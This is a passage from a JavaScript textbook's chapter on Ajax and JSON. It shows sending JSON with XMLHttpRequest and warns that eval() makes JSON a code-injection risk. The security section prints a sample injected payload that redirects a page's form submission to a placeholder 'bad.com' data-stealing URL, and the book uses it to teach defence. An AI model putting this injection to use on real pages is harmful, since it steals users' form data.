javascript

Chapter 17: Ajax and JSON
(continued)
}
}
};
xhr.open(“post”, “addcontact.php”, true);
xhr.send(JSON.stringify(contact));
In this code, a new contact is saved to the server, sending the data to the addcontact.php file. The
contact object is constructed with the new information and then serialized into JSON data that is
passed into the send() method. The PHP page is responsible for parsing the JSON data back into a
format that the server - side code can understand and sending a response to the browser.
ECMAScript 3.1 formally introduces native support for JSON parsing and serialization. ECMAScript 3.1
is covered in Chapter 22 .
Security
Although the speed of JSON evaluation is a major benefit, JSON also has a major downside: it uses
eval() . The eval() function is designed to interpret JavaScript code, not just to parse JSON, so it opens
a potentially huge security hole. A malicious programmer can inject into an expected JSON structure
JavaScript code that will be executed once passed through eval() . Consider this example:
[ 1, 2, (function(){
//sets a form’s action to a different URL
document.forms[0].action = “http://path.to.a.bad.com/stealdata.php”;
})(), 3, 4]
In this code, an anonymous function is included as part of the text response. The function changes the
action of the first form on the page, so the form submission happens to a different server than it should.
This is an XSS attack that is possible when JSON isn ’ t filtered before being passed to eval() . The danger
is that any JavaScript returned from the server that is passed into eval() is evaluated in the context of
the page, eliminating all security mechanisms that typically exist between resources. The script is run as
if it were a first - class member of the page, so it has access to everything on the page.
Crockford ’ s JavaScript JSON library parses JSON strings properly to ensure that they don ’ t contain
malicious code before evaluating into a JavaScript object. This library or others like it should always be
used when dealing with JSON data transmission to mitigate the chance of an XSS attack through code
injection.
Generally speaking, you should never pass JavaScript code returned from the server
into eval() . There are too many possibilities for malicious interception and injection
of code, whether you’re using JSON or JavaScript. Any data received from the server
should always be investigated properly and verified before passing to eval() .
586